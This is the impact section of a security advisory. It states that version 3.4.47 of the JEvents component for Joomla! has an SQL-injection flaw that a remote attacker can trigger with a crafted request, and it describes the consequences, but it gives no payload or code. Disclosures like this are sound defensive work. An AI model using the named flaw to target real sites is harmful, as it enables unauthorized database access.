# Impact :
**********
The JEvents 3.4.47 component for Joomla! is prone to an SQL-injection vulnerability 

because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 

A successful exploit may allow an attacker to compromise the application, access 

or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application 

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.
